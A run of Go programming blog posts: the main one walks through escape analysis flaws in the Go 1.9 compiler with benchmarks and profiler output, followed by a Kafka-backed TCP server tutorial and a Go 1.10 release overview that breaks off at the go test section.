2018-01-22

Prelude

It will be helpful to read this four-part series first on escape analysis and data semantics. Details on how to read an escape analysis report and pprof output have been outlined here.

https://www.ardanlabs.com/blog/2017/05/language-mechanics-on-stacks-and-pointers.html

Introduction

Even after working with Go for 4 years, I am continually amazed by the language. Thanks to the static code analysis the compiler performs, the compiler can apply interesting optimizations to the code it produces. One type of analysis the compiler performs is called escape analysis. This produces optimizations and simplifications around memory management.

The language team has been focused for the past 2 years on optimizing the code the compiler produces for better performance and they have done a fantastic job. I believe Go programs could see even more dramatic improvements if some of the current flaws in escape analysis are resolved. Back in February 2015, Dmitry Vyukov wrote this paper outlining known escape analysis flaws in the compiler.

https://docs.google.com/document/d/1CxgUBPlx9iJzkz9JWkb6tIpTe5q32QDmz8l0BouG0Cw/edit#

I was curious about how many of these flaws had been fixed since this document was written and I found that so far a few have been resolved. That being said, five particular flaws have not been fixed that I would love to see worked on in a near future release of Go. I label these as:

  • Indirect Assignment
  • Indirect Call
  • Slice and Map Assignments
  • Interfaces
  • Unknown

I thought it would be fun to explore each of these flaws so you can see the positive impact existing Go programs will have once they are fixed. Everything you see is based on the 1.9 compiler.

Indirect Assignment

The “Indirection Assignment” flaw has to do with allocations that occur when a value is assigned through an indirection. Here is a code example:

Listing 1
https://github.com/ardanlabs/gotraining/blob/master/topics/go/language/pointers/flaws/example1/example1_test.go

01 package flaws
02
03 import "testing"
04 
05 func BenchmarkAssignmentIndirect(b *testing.B) {
06     type X struct {
07         p *int
08     }
09     for i := 0; i < b.N; i++ {
10         var i1 int
11         x1 := &X{
12             p: &i1, // GOOD: i1 does not escape
13         }
14         _ = x1
15
16         var i2 int
17         x2 := &X{}
18         x2.p = &i2 // BAD: Cause of i2 escape
19     }
20 }

In listing 1, a type named X is declared with a single field named p as a pointer to an integer. Then on lines 11 through 13, a value of type X is constructed using the compact form to initialize the p field with the address of the i1 variable. The x1 variable is created as a pointer so this variable is the same as the variable created on line 17.

On line 16, a variable named i2 is declared and on line 17, a value of type X using pointer semantics is constructed and assigned to the pointer variable x2. Then on line 18, the address of the i2 variable is assigned to the p field within the value that the x2 variable points to. In this statement, there is an assignment through the use of a pointer variable, which is an indirection.

Here is the output from running the benchmark with an escape analysis report. Also included is the output for the pprof list command.

Benchmark Output

$ go test -gcflags "-m -m" -run none -bench . -benchmem -memprofile mem.out

BenchmarkAssignmentIndirect-8       100000000	       14.2 ns/op         8 B/op	      1 allocs/op

Escape Analysis Report

./example2_test.go:18:10: &i2 escapes to heap
./example2_test.go:18:10:   from x2.p (star-dot-equals) at ./example2_test.go:18:8
./example2_test.go:16:7: moved to heap: i2
./example2_test.go:12:7: BenchmarkAssignmentIndirect &i1 does not escape

Pprof Output

$ go tool pprof -alloc_space mem.out

ROUTINE ========================
 759.51MB   759.51MB (flat, cum)   100% of Total
        .          .     11:       x1 := &X{
        .          .     12:           p: &i1, // GOOD: i1 does not escape
        .          .     13:       }
        .          .     14:       _ = x1
        .          .     15:
 759.51MB   759.51MB     16:       var i2 int
        .          .     17:       x2 := &X{}
        .          .     18:       x2.p = &i2 // BAD: Cause of i2 escape
        .          .     19:   }
        .          .     20:}

In the escape analysis report, the reason given for i2 to escape is (star-dot-equals). I imagine this is referencing the need for the compiler to perform an operation like this underneath to make the assignment.

Star-Dot-Equals

(*x2).p = &i2

The pprof output shows clearly that i2 is allocated on the heap and i1 is not. Lines 16 through 18 is something that I have seen a lot of in Go code written by people new to the language. This flaw could help newer developers remove some garbage from their heaps.

Indirect Call

The “Indirect Call” flaw has to do with allocations that occur when a value is shared with a function that is called through an indirection. Here is a code example:

Listing 2.1
https://github.com/ardanlabs/gotraining/blob/master/topics/go/language/pointers/flaws/example2/example2_test.go

01 package flaws
02
03 import "testing"
04
05 func BenchmarkLiteralFunctions(b *testing.B) {
06     for i := 0; i < b.N; i++ {
07         var y1 int
08         foo(&y1, 42) // GOOD: y1 does not escape
09
10         var y2 int
11         func(p *int, x int) {
12             *p = x
13         }(&y2, 42) // BAD: Cause of y2 escape
14
15         var y3 int
16         p := foo
17         p(&y3, 42) // BAD: Cause of y3 escape
18     }
19 }
20
21 func foo(p *int, x int) {
22     *p = x
23 }

In listing 2.1, a named function called foo on line 21 is declared. This function accepts the address of an integer along with an integer value. Then the function assigns the integer value that is passed to the location that the p pointer points to.

On line 07, a variable named y1 of type int is declared and shared during the function call to foo on line 08. Between lines 10 through 13, a similar situation exists. A variable named y2 is declared of type int and shared as the first parameter to a literal function that is declared and executed in place on line 13. The literal function is identical to the foo function.

Finally between lines 15 through 17, the foo function is assigned to a variable named p. Through the p variable, the foo function is executed with the y3 variable is shared. This function call on line 17 is done through the indirection of the p variable. This is identical to how the function call of the literal function on line 13 is performed without the explicit function variable.

Here is the output from running the benchmark with an escape analysis report. Also included is the output for the pprof list command.

Benchmark Output

$ go test -gcflags "-m -m" -run none -bench BenchmarkLiteralFunctions -benchmem -memprofile mem.out

BenchmarkLiteralFunctions-8     50000000 	       30.7 ns/op        16 B/op	      2 allocs/op

Escape Analysis Report

./example2_test.go:13:5: &y2 escapes to heap
./example2_test.go:13:5:    from (func literal)(&y2, 42) (parameter to indirect call) at ./example2_test.go:13:4
./example2_test.go:10:7: moved to heap: y2
./example2_test.go:17:5: &y3 escapes to heap
./example2_test.go:17:5:    from p(&y3, 42) (parameter to indirect call) at ./example2_test.go:17:4
./example2_test.go:15:7: moved to heap: y3

Pprof Output

$ go tool pprof -alloc_space mem.out

ROUTINE ========================
 768.01MB   768.01MB (flat, cum)   100% of Total
        .          .      5:func BenchmarkLiteralFunctions(b *testing.B) {
        .          .      6:   for i := 0; i < b.N; i++ {
        .          .      7:       var y1 int
        .          .      8:       foo(&y1, 42) // GOOD: y1 does not escape
        .          .      9:
 380.51MB   380.51MB     10:       var y2 int
        .          .     11:       func(p *int, x int) {
        .          .     12:           *p = x
        .          .     13:       }(&y2, 42) // BAD: Cause of y2 escape
        .          .     14:
 387.51MB   387.51MB     15:       var y3 int
        .          .     16:       p := foo
        .          .     17:       p(&y3, 42) // BAD: Cause of y3 escape
        .          .     18:   }
        .          .     19:}

In the escape analysis report, the reason given for the allocation of the y2 and y3 variables is (parameter to indirect call). The pprof output shows clearly that y2 and y3 are allocated on the heap and y1 is not.

Though I would consider the use of a function literal as called on line 13 to be a code smell, the use of the p variable on line 16 is not. People pass functions around in Go all the time. Especially when building web services. Fixing this indirect call flaw could help reduce many allocations in Go web service applications.

Here is an example you will find in many web service applications.

Listing 2.2
https://github.com/ardanlabs/gotraining/blob/master/topics/go/language/pointers/flaws/example2/example2_http_test.go

01 package flaws
02
03 import (
04     "net/http"
05     "testing"
06 )
07
08 func BenchmarkHandler(b *testing.B) {
09
10     // Setup route with specific handler.
11     h := func(w http.ResponseWriter, r *http.Request) error {
12         // fmt.Println("Specific Request Handler")
13         return nil
14     }
15     route := wrapHandler(h)
16
17     // Execute route.
18     for i := 0; i < b.N; i++ {
19         var r http.Request
20         route(nil, &r) // BAD: Cause of r escape
21     }
22 }
23
24 type Handler func(w http.ResponseWriter, r *http.Request) error
25
26 func wrapHandler(h Handler) Handler {
27     f := func(w http.ResponseWriter, r *http.Request) error {
28         // fmt.Println("Boilerplate Code")
29         return h(w, r)
30     }
31     return f
32 }

In listing 2.2, a common handler wrapping function is declared on line 26, which wraps a handler function within the scope of another literal function to provide boilerplate code. Then on line 11, a handler function for a specific route is declared and it’s passed to the wrapHandler function on line 15 so it can be chained together with the boilerplate code handler function. On line 19, a http.Request value is created and shared with the route call on line 20. Calling route executes both the boilerplate code and specific request handler functionality.

The route call on line 20 is an indirect call since the route variable is a function variable. This will cause the http.Request variable to allocate on the heap, which is not necessary.

Here is the output from running the test with an escape analysis report. Also included is the output is the pprof list command.

Benchmark Output

$ go test -gcflags "-m -m" -run none -bench BenchmarkHandler -benchmem -memprofile mem.out

BenchmarkHandler-8      20000000 	       72.4 ns/op       256 B/op	      1 allocs/op

Escape Analysis Report

./example2_http_test.go:20:14: &r escapes to heap
./example2_http_test.go:20:14:  from route(nil, &r) (parameter to indirect call) at ./example2_http_test.go:20:8
./example2_http_test.go:19:7: moved to heap: r

Pprof Output

$ go tool pprof -alloc_space mem.out

ROUTINE ========================
   5.07GB     5.07GB (flat, cum)   100% of Total
        .          .     14:   }
        .          .     15:   route := wrapHandler(h)
        .          .     16:
        .          .     17:   // Execute route.
        .          .     18:   for i := 0; i < b.N; i++ {
   5.07GB     5.07GB     19:       var r http.Request
        .          .     20:       route(nil, &r) // BAD: Cause of r escape
        .          .     21:   }
        .          .     22:}

In the escape analysis report, you can see the reason for the allocation is (parameter to indirect call). The pprof report shows that the r variable is allocating. As stated earlier, this is common code people write in Go when building web services. Fixing this could reduce a large number of allocations in programs.

Slice and Map Assignments

The “Slice and Map Assignments” flaw has to do with allocations that occur when a value is shared inside a slice or map. Here is a code example:

Listing 3
https://github.com/ardanlabs/gotraining/blob/master/topics/go/language/pointers/flaws/example3/example3_test.go

01 package flaws
02
03 import "testing"
04
05 func BenchmarkSliceMapAssignment(b *testing.B) {
06     for i := 0; i < b.N; i++ {
07         m := make(map[int]*int)
08         var x1 int
09         m[0] = &x1 // BAD: cause of x1 escape
10
11         s := make([]*int, 1)
12         var x2 int
13         s[0] = &x2 // BAD: cause of x2 escape
14    }
15 }

In listing 3, a map is made on line 07 which stores addresses of values of type int. Then on line 08, a value of type int is created and shared inside the map on line 09, with the key of 0. The same thing happens with the slice of int addresses on line 11. After the slice is made, a value of type int is shared inside index 0.

Here is the output from running the benchmark with an escape analysis report. Also included is the output for the pprof list command.

Benchmark Output

$ go test -gcflags "-m -m" -run none -bench . -benchmem -memprofile mem.out

BenchmarkSliceMapAssignment-8       10000000 	      104 ns/op 	     16 B/op	      2 allocs/op

Escape Analysis Report

./example3_test.go:9:10: &x1 escapes to heap
./example3_test.go:9:10:    from m[0] (value of map put) at ./example3_test.go:9:8
./example3_test.go:8:7: moved to heap: x1
./example3_test.go:13:10: &x2 escapes to heap
./example3_test.go:13:10:   from s[0] (slice-element-equals) at ./example3_test.go:13:8
./example3_test.go:12:7: moved to heap: x2
./example3_test.go:7:12: BenchmarkSliceMapAssignment make(map[int]*int) does not escape
./example3_test.go:11:12: BenchmarkSliceMapAssignment make([]*int, 1) does not escape

Pprof Output

$ go tool pprof -alloc_space mem.out

ROUTINE ========================
 162.50MB   162.50MB (flat, cum)   100% of Total
        .          .      5:func BenchmarkSliceMapAssignment(b *testing.B) {
        .          .      6:   for i := 0; i < b.N; i++ {
        .          .      7:       m := make(map[int]*int)
 107.50MB   107.50MB      8:       var x1 int
        .          .      9:       m[0] = &x1 // BAD: cause of x1 escape
        .          .     10:
        .          .     11:       s := make([]*int, 1)
     55MB       55MB     12:       var x2 int
        .          .     13:       s[0] = &x2 // BAD: cause of x2 escape
        .          .     14:   }
        .          .     15:}

In the escape analysis report the reason given is (value of map put) and (slice-element-equals). What is even more interesting is the escape analysis report says the map and slice data structures do not allocate.

No Allocation of Map and Slice

./example3_test.go:7:12: BenchmarkSliceMapAssignment make(map[int]*int) does not escape
./example3_test.go:11:12: BenchmarkSliceMapAssignment make([]*int, 1) does not escape

That further proves x1 and x2 in this code example have no need to allocate on the heap.

I have always felt that data in maps and slices should be stored as values when it is reasonable and practical to do so. Especially when these data structures are storing the core data for a request or task. This flaw provides a second reason for trying to avoid storing data through the use of pointers. Fixing this flaw probably has little return on investment since maps and slices of static size are rare.

Interfaces

The “Interfaces” flaw is related to the “Indirect Call” flaw you saw earlier. This is a flaw that creates a real cost to using interfaces. Here is a code example:

Listing 4
https://github.com/ardanlabs/gotraining/blob/master/topics/go/language/pointers/flaws/example4/example4_test.go

01 package flaws
02
03 import "testing"
04
05 type Iface interface {
06     Method()
07 }
08
09 type X struct {
10     name string
11 }
12
13 func (x X) Method() {}
14
15 func BenchmarkInterfaces(b *testing.B) {
16     for i := 0; i < b.N; i++ {
17         x1 := X{"bill"}
18         var i1 Iface = x1
19         var i2 Iface = &x1
20
21         i1.Method() // BAD: cause copy of x1 to escape
22         i2.Method() // BAD: cause x1 to escape
23
24         x2 := X{"bill"}
25         foo(x2)
26         foo(&x2)
27     }
28 }
29
30 func foo(i Iface) {
31     i.Method() // BAD: cause value passed in to escape
32 }

In listing 4, an interface named Iface is declared on line 05 and is kept very basic for the example. Then a concrete type named X is declared on line 09 and the Iface interface is implemented using a value receiver.

On line 17, a value of type X is constructed and assigned to the x1 variable. A copy of the x1 variable is stored inside the i1 interface variable on line 18 and then that same x1 variable is shared with the i2 interface variable on line 19. On lines 21 and 22, Method is called against both the i1 and i2 interface variables.

To create a more realistic example, a function named foo is declared on line 30 and it accepts any concrete data that implements the Iface interface. Then on line 31, the same call to Method is made against the local interface variable. The foo function represents a large number of functions people write in Go.

On line 24, a variable named x2 of type X is constructed and passed to foo as a copy and shared on lines 25 and 26 respectively.

Here is the output from running the benchmark with an escape analysis report. Also included is the output for the pprof list command.

Benchmark Output

$ go test -gcflags "-m -m" -run none -bench . -benchmem -memprofile mem.out

BenchmarkInterfaces-8     10000000         126 ns/op        64 B/op        4 allocs/op

Escape Analysis Report

./example4_test.go:18:7: x1 escapes to heap
./example4_test.go:18:7:  from i1 (assigned) at ./example4_test.go:18:7
./example4_test.go:18:7:  from i1.Method() (receiver in indirect call) at ./example4_test.go:21:12
./example4_test.go:19:7: &x1 escapes to heap
./example4_test.go:19:7:  from i2 (assigned) at ./example4_test.go:19:7
./example4_test.go:19:7:  from i2.Method() (receiver in indirect call) at ./example4_test.go:22:12
./example4_test.go:19:18: &x1 escapes to heap
./example4_test.go:19:18:   from &x1 (interface-converted) at ./example4_test.go:19:7
./example4_test.go:19:18:   from i2 (assigned) at ./example4_test.go:19:7
./example4_test.go:19:18:   from i2.Method() (receiver in indirect call) at ./example4_test.go:22:12
./example4_test.go:17:17: moved to heap: x1
./example4_test.go:25:6: x2 escapes to heap
./example4_test.go:25:6:  from x2 (passed to call[argument escapes]) at ./example4_test.go:25:6
./example4_test.go:26:7: &x2 escapes to heap
./example4_test.go:26:7:  from &x2 (passed to call[argument escapes]) at ./example4_test.go:26:6
./example4_test.go:26:7: &x2 escapes to heap
./example4_test.go:26:7:  from &x2 (interface-converted) at ./example4_test.go:26:7
./example4_test.go:26:7:  from &x2 (passed to call[argument escapes]) at ./example4_test.go:26:6
./example4_test.go:24:17: moved to heap: x2

Pprof Output

$ go tool pprof -alloc_space mem.out

ROUTINE ======================== 
 658.01MB   658.01MB (flat, cum)   100% of Total
        .          .     12:
        .          .     13:func (x X) Method() {}
        .          .     14:
        .          .     15:func BenchmarkInterfaces(b *testing.B) {
        .          .     16: for i := 0; i < b.N; i++ {
 167.50MB   167.50MB     17:   x1 := X{"bill"}
 163.50MB   163.50MB     18:   var i1 Iface = x1
        .          .     19:   var i2 Iface = &x1
        .          .     20:
        .          .     21:   i1.Method() // BAD: cause copy of x1 to escape
        .          .     22:   i2.Method() // BAD: cause x1 to escape
        .          .     23:
 163.50MB   163.50MB     24:   x2 := X{"bill"}
 163.50MB   163.50MB     25:   foo(x2)
        .          .     26:   foo(&x2)
        .          .     27: }
        .          .     28:}

In the benchmark report, notice there are four allocations. This is because the code makes copies of the x1 and x2 variables, which allocate as well. These copies are made on line 18 for the x1 variable during the assignment and on line 25 when the value of x2 is used in the function call to foo.

In the escape analysis report, the reason given for x1 and the copy of x1 to escape is (receiver in indirect call). This is interesting because it is the call to Method on lines 21 and 22 that is the real culprit here in this flaw. Remember, calling a method against an interface requires an indirect call through the iTable. As you saw earlier, indirect calls are a flaw in escape analysis.

The reason the escape analysis report gives for the x2 variable to escape is (passed to call[argument escapes]). However in both cases, (interface-converted) is another reason which describes the fact that the data is being stored inside the interface.

What’s interesting is, if you remove the method call on line 31 inside the foo function, the allocation goes away. In reality, the indirect call of Method through the interface variable on lines 21, 22 and 31 inside of foo is the problem.

I always teach that as of 1.9 and earlier, the use of interfaces has the cost of indirection and allocation. This is the escape analysis flaw that if fixed, can have the most significant impact on Go programs. This could reduce a large number of allocations on logging packages alone. Don’t use interfaces unless it is obvious the value they are providing.

Unknown

This allocation is something that I don’t understand at all. Even after looking at the output of the tooling. I am providing it here with the hope to get some answers.

Here is a code example:

Listing 5
https://github.com/ardanlabs/gotraining/blob/master/topics/go/language/pointers/flaws/example5/example5_test.go

01 package flaws
02
03 import (
04     "bytes"
05     "testing"
06 )
07
08 func BenchmarkUnknown(b *testing.B) {
09     for i := 0; i < b.N; i++ {
10         var buf bytes.Buffer
11         buf.Write([]byte{1})
12         _ = buf.Bytes()
13     }
14 }

In listing 5, a value of type bytes.Buffer is created on line 10 and set to its zero value. Then the method Write is called against the buf variable on line 11 with a slice value constructed and passed within the call. Finally, the Bytes method is called just to prevent potential compiler optimizations from throwing all the code away. That call is not necessary to create the escape of the buf variable.

Here is the output from running the benchmark with an escape analysis report. Also included is the output for the pprof list command.

Benchmark Output

$ go test -gcflags "-m -m" -run none -bench . -benchmem -memprofile mem.out

Benchmark-8     20000000 	       50.8 ns/op       112 B/op	      1 allocs/op

Escape Analysis Report

./example5_test.go:11:6: buf escapes to heap
./example5_test.go:11:6:    from buf (passed to call[argument escapes]) at ./example5_test.go:11:12

Pprof Output

$ go tool pprof -alloc_space mem.out

ROUTINE ======================== 
   2.19GB     2.19GB (flat, cum)   100% of Total
        .          .      8:func BenchmarkUnknown(b *testing.B) {
        .          .      9:   for i := 0; i < b.N; i++ {
   2.19GB     2.19GB     10:       var buf bytes.Buffer
        .          .     11:       buf.Write([]byte{1})
        .          .     12:       _ = buf.Bytes()
        .          .     13:   }
        .          .     14:}

In this code, I don’t see any reason why the method call to Write on line 11 is causing an escape. I was given a lead that looked interesting but I will leave it up to you to explore further.

Potentially it has something to do with the bootstrap array in the Buffer type. It’s meant to be an optimization, but from escape analysis point of view it makes Buffer to point to itself, which is a circular dependency and these are usually hard for analysis. Or perhaps it’s because of append or maybe it’s just a combination of several factors and quite complex code in Buffer.

This issue exists which is related to the bootstrap array causing the allocation:

cmd/compile, bytes: bootstrap array causes bytes.Buffer to always be heap-allocated

Conclusion

I have tried to point out some of the more interesting escape analysis flaws that exist today as of 1.9. The interface flaw is probably the flaw that if corrected, can have the largest impact on Go programs today. What I find most interesting is that all of us can gain from fixing these flaws without any need for personal expertise in this area. The static code analysis the compiler performs is providing many benefits, such as the ability to optimize the code you write over time. Maybe the biggest benefit is, removing or reducing the cognitive load you otherwise would have to maintain.

2018-01-16
What does a distro provide? The most popular docker base container image is either busybox, or scratch. This is driven by a movement that is equal parts puritanical and pragmatic. The puritan asks “Why do I need to run init(1) just to run my process?” The pragmatist asks “Why do I need a 700 meg […]
2018-01-08
This is an article about compiler directives; or as they are commonly known, pragmas. It’s derived from a talk of a similar name that I gave last year at GopherChina in Shanghai. But first, a history lesson Before we talk about Go, let’s talk a little about pragmas, and their history. Many languages have the notion […]
2017-12-31

System diagram
I needed to create a simple framework to provide my endpoint devices ( doesn’t matter which platform they run on ) the option to send and receive messages from my backend.
I require those messages to be managed by a message broker so that they can be processed in an asynchronous way.
The system contains 4 main layers, this article section is mainly about the first one:
1. TCP servers - Needs to maintain as many TCP sockets in synch with the endpoints as possible. All of the endpoints messages will be processed on a different layer by the message broker. This keeps the TCP servers layer very thin and effective. I also want to keep as many concurrent connection as possible, and Go is a good choice for this ( see this article)
2. Message broker - Responsible for delivering the messages between the TCP servers layer and the workers layer. I chose Apache Kafka for that purpose.
3. Workers layer - will process the messages through services exposed in the backend layer.
4. Backed services layer - An encapsulation of services required by your application such as DB, Authentication, Logging, external APIs and more.

So, this Go Server:
1. communicates with its endpoint clients by TCP sockets.
2. queues the messages in the message broker.
3. receives back messages from the broker after they were processed and sends response acknowledgment and/or errors to the TCP clients.

The full source code is available in : https://github.com/orrchen/go-messaging
I have also included a Dockerfile and a build script to push the image to your Docker repository.
Special thanks to the great go Kafka sarama library from Shopify.

The article is divided to sections representing the components of the system. Each component should be decoupled from the others in a way that allows you to read about a single component in a straight forward manner.

TCP Client

Its role is to represent a TCP client communicating with our TCP server.

type Client struct {
	Uid  string /* client is responsible of generating a unique uid for each request,   
	it will be sent in the response from the server so that client will know what request generated this response */
	DeviceUid string /* a unique id generated from the client itself */
	conn net.Conn
	onConnectionEvent func(c *Client, eventType ConnectionEventType, e error) /* function for handling new connections */
	onDataEvent func(c *Client, data []byte) /* function for handling new date events */
}

Please notice that onConnectionEvent and onDataEvent are callbacks for the Struct that will obtain and manage Clients.

Our client will listen permanently using the listen() function and response to new connections, new data received and connections terminations.

Kafka Consumer

Its role is to consume messages from our Kafka broker, and to broadcast them back to relevant clients by their uids.
In this example we are consuming from multiple topics using the cluster implementation of sarama.

Let’s define our Consumer struct:

type Consumer struct {
	consumer *cluster.Consumer
	callbacks ConsumerCallbacks
}

The constructor receives the callbacks and relevant details to connect to the topic:

func NewConsumer(callbacks ConsumerCallbacks,brokerList []string, groupId string, topics []string) *Consumer {
	consumer := Consumer{callbacks:callbacks}

	config := cluster.NewConfig()
	config.ClientID = uuid.NewV4().String()
	config.Consumer.Offsets.Initial = sarama.OffsetNewest
	saramaConsumer, err := cluster.NewConsumer(brokerList, groupId, topics, config)
	if err != nil {
		panic(err)
	}
	consumer.consumer = saramaConsumer
	return &consumer

}

It will consume permanently on a new goroutine inside the Consume() function.
It reads from the Messages() channel for new messages and the Notifications() channel for events.

Kafka Producer

Its role is to produce messages to our Kafka broker.
In this example we are producing to a single topic.
This section is mainly inspired from the example in https://github.com/Shopify/sarama/blob/master/examples/http_server/http_server.go

Let’s define our Producer Struct:

type Producer struct {
	asyncProducer sarama.AsyncProducer
	callbacks     ProducerCallbacks
	topic         string
}

Producer is constructed with the callbacks for error, and the details to connect to the Kafka broker including optional ssl configurations that are created with createTLSConfiguration:

func NewProducer(callbacks ProducerCallbacks,brokerList []string,topic string,certFile *string,keyFile *string,caFile *string,verifySsl *bool ) *Producer {
	producer := Producer{ callbacks: callbacks, topic: topic}

	config := sarama.NewConfig()
	tlsConfig := createTLSConfiguration(certFile,keyFile,caFile,verifySsl)
	if tlsConfig != nil {
		config.Net.TLS.Enable = true
		config.Net.TLS.Config = tlsConfig
	}
	config.Producer.RequiredAcks = sarama.WaitForLocal       // Only wait for the leader to ack
	config.Producer.Compression = sarama.CompressionSnappy   // Compress messages
	config.Producer.Flush.Frequency = 500 * time.Millisecond // Flush batches every 500ms

	saramaProducer, err := sarama.NewAsyncProducer(brokerList, config)
	if err != nil {
		log.Fatalln("Failed to start Sarama producer:", err)
		panic(err)
	}
	go func() {
		for err := range saramaProducer.Errors() {
			if producer.callbacks.OnError!=nil {
				producer.callbacks.OnError(err)
			}
		}
	}()
	producer.asyncProducer = saramaProducer
	return &producer
}

I decided to produce messages that are encoded to JSON and to ensure it before sending them:

type message struct {
	value interface{}
	encoded []byte
	err     error
}

func (ale *message) ensureEncoded() {
	if ale.encoded == nil && ale.err == nil {
		ale.encoded, ale.err = json.Marshal(ale.value)
		if ale.err!=nil {
			log.Println(ale.err)
		}
	}
}

func (ale *message) Length() int {
	ale.ensureEncoded()
	return len(ale.encoded)
}

func (ale *message) Encode() ([]byte, error) {
	ale.ensureEncoded()
	return ale.encoded, ale.err
}

And finally, we provide the functions to produce the message and close the producer:

func (p *Producer) Produce(payload interface{}) {
	value := message{
		value: payload,
	}
	value.ensureEncoded()
	log.Println("producing: ", string(value.encoded))
	p.asyncProducer.Input() <- &sarama.ProducerMessage{
		Topic: p.topic,
		Value: &value,
	}
}  
func (p *Producer) Close() error{
	log.Println("Producer.Close()")
	if err := p.asyncProducer.Close(); err != nil {
		return err
	}
	return nil
}

TCP Server

Its role is to obtain and manage a set of Client, and send and receive messages from them.

type TcpServer struct {
	address                  string // Address to open connection: localhost:9999
	connLock sync.RWMutex
	connections map[string]*Client
	callbacks Callbacks
	listener net.Listener
}

It is constructed simply with an address to bind to and the callbacks to send:

// Creates new tcp Server instance
func NewServer(address string, callbacks Callbacks ) *TcpServer {
	log.Println("Creating Server with address", address)
	s := &TcpServer{
		address: address,
		callbacks: callbacks,
	}
	s.connections = make(map[string]*Client)
	return s
}

When a connection event occurs we process it and handle it, if it’s a new event we attach a new UID to the client.
If connection is terminated we delete this client.
In both cases we send the callbacks to notify about those events.

TcpServer will listen permanently for new connections and new data with Listen(), and support a graceful shutdown with Close().

We provide 2 options ot send data to our clients, by their device uid ( generated from the client side) with SendDataByDeviceUidor by the client id which is generated in our system with SendDataByClientId.

API

We need to create structs for the API that the tcp clients use, and the API for the messages sent to/from the messages broker.
For the TCP clients:
* DeviceRequest * DeviceResponse

For the message broker:
* ServerRequest
* ServerResponse

Main function - putting it all together

Obtains and manages all the other components in this system. It will include the TCP server that holds an array of TCP clients, and a connection to the Kafka broker for consuming and sending messages to it. Here are the main parts of main.go file:

var tcpServer *lib.TcpServer
var producer *messages.Producer
var consumer *messages.Consumer

func main() {
    callbacks := lib.Callbacks{
		OnDataReceived: onDataReceived,
		OnConnectionTerminated: onConnectionTerminated,
		OnNewConnection: onNewConnection,
	}
	tcpServer = lib.NewServer(":3000", callbacks)
	producerCallbacks := messages.ProducerCallbacks{
		OnError: onProducerError,
	}
	f := false
	producer = messages.NewProducer(producerCallbacks,configuration.BrokersList,configuration.ProducerTopic,nil,nil,nil,&f)

	consumerCallbacks := messages.ConsumerCallbacks{
		OnDataReceived: onDataConsumed,
		OnError: onConsumerError,
	}
	consumer = messages.NewConsumer(consumerCallbacks,configuration.BrokersList,consumerGroupId,configuration.ConsumerTopics)
	consumer.Consume()

	go func(){
		http.HandleFunc("/", handler)
		http.ListenAndServe(":8080", nil)
	}()

	tcpServer.Listen()


}

func cleanup(){
	tcpServer.Close()
	producer.Close()
	consumer.Close()
	os.Exit(0)
}

Build, run and deploy to Docker image

To build:

go build main.go

To run:

go run main.go -config=config/config.yml

To build and run with Docker I first set this Dockerfile:

FROM debian
MAINTAINER "Orr Chen"
WORKDIR /app
ADD app/tcp-server.linux /app/
ADD config /app/
EXPOSE 8080 3000
CMD ["./tcp-server.linux","-config=config.yml"]

And build and push to my Docker repository with the build.sh script.

build.sh --tag <tag>  --name <name> --repository <repository>

Future improvements

Of course this is just a base framework, it lacks a few things mandatory for production environments which are mainly authentication, better logging, recovery from errors and input checking.
But I believe this might be a very useful start point for many developers who need this kind of a service, just like I needed it before implementing it :)
I will be very happy to read your thoughts and comments, happy holidays to all!

About the author:

Hi, my name is Orr Chen, a software engineer and a gopher for the past 3 years. My first experience with Go was migrating the entire backend of my startup PushApps from Rails to Golang. Since then I am a big fun of the language!
Github: OrrChen
Twitter: OrrChen
LinkedIn: orrchen

3rd parties libraries used:

2017-12-30

Table of contents

Introduction

Go 1.10 is the first major release after the announcement of the plans towards Go 2.0 at GopherCon 2017.

There are a number of exciting changes which I’ll cover below as well as some changes in the behavior of either tools or Go APIs which might result in an unexpected behavior compared to the previous change. I chose to flag these changes as “breaking change” in order to make it easier to identify them.

I’ve also tried to flag the CL that brought in the change as the discussions on them as well as the related changes in other CLs are a great source from learning how Go is organized, created, how features are reviewed, and hopefully inspire you to contribute to the language itself by either participating in reviews or issues or fixing issues (like Needs Investigation or Help Wanted).


Language changes

Let’s start with the language changes that Go 1.10 brings. There are only a couple of rather small changes, none of them significant.

First, you’ll be able to use an untyped constant as the index of an expression x[1.0 << s] where s is the untyped constant CL 60230

The second change is that you can now use method expressions like this struct{io.Reader}.Read, even if this is a rather unusual way to do so CL 73233


Operating systems support

Moving on to the operating system support, Go 1.10 will be the last Go version to run on OS X 10.8 Mountain Lion, OS X 10.9 Mavericks, or on OpenBSD 6.0.

FreeBSD 10.3 is now required to run Go, up from FreeBSD 9.3 CL 64910

NetBSD is once again supported, but only in the unreleased version 8 and on 386 and amd64. arm support for NetBSD 8 was still broken at the time of writing, see Issue 23073

On 32-bit MIPS systems you can now choose if you want emulation for floating point instructions or not via a new environment variable settings GOMIPS=hardfloat (the default) and GOMIPS=softfloat CL 37954


Tooling

The bigger changes in Go 1.10 come from the tooling improvements it brings. They dramatically improve the quality of life for testing in large and very large projects and pave the road towards Go 2.0.


Environment variables

Since Go 1.9,GOROOT is inferred from the location of the go tool binary by default. However, if your application relied on that value at runtime via runtime.GOROOT() there was a bug which prevented it have the correct location. As of Go 1.10+ this bug was fixed and you can now use it as expected CL 61310

A couple of new environment variables were added to the go command. GOTMPDIR will allow you to configure where the temporary files created by Go during compilation of your applications are stored. The default path is the same as in the previous Go versions, the operating system’s temporary files directory. The other new environment variable is GOCACHE allows you to control where the go command will store the cached information that’s reused in future builds CL 75475


go build

go build can now detect changes in files on a source code level rather than rely on timestamps, which means that it will be more accurate in rebuilding the packages that have changed. In turn, this means that you will now be able to drop the usage of -a flag, which was previously used to force Go to rebuild packages in certain conditions.

Changes are coming to the -asmflags, -gcflags, -gccgoflags, and -ldflags flags. They will not be applied automatically to the list of all packages as before but only to the direct package that’s being specified in the build command. You can still achieve the same functionality as before using the new special syntax for these flags, -ldflags=pattern=flags such as:
go build -ldflags=cmd/gofmt=-X=main.version=1.2.3 cmd/.... This command allows you to build all the /cmd/... packages but it will apply the -ldflags=-X=main.version=1.2.3 flag only to the cmd/gofmt package CL 76551

To further speed up the builds, go build -i will not be necessary since now the build tool will have its own cache for build steps that do not do the install step, such as go install or go get. This means that you’ll be able to switch between branches or experiment a lot more with the code without having to invoke go install or go build -i but just go build.

Are you a Windows user? Now you can use c-shared as a target for your libraries, thanks to CL 69091.


go install

go install also received some changes. Now it will install only the explicitly mentioned packages but not their dependencies. To restore the previous behaviour, you’ll need to use this command as go install -i CL 75850

This change as well as upcoming changes is significant if your tools depend on the packages to be installed in $GOPATH/pkg and always be fresh, with additional changes being required in order to restore the old behaviour.


go test

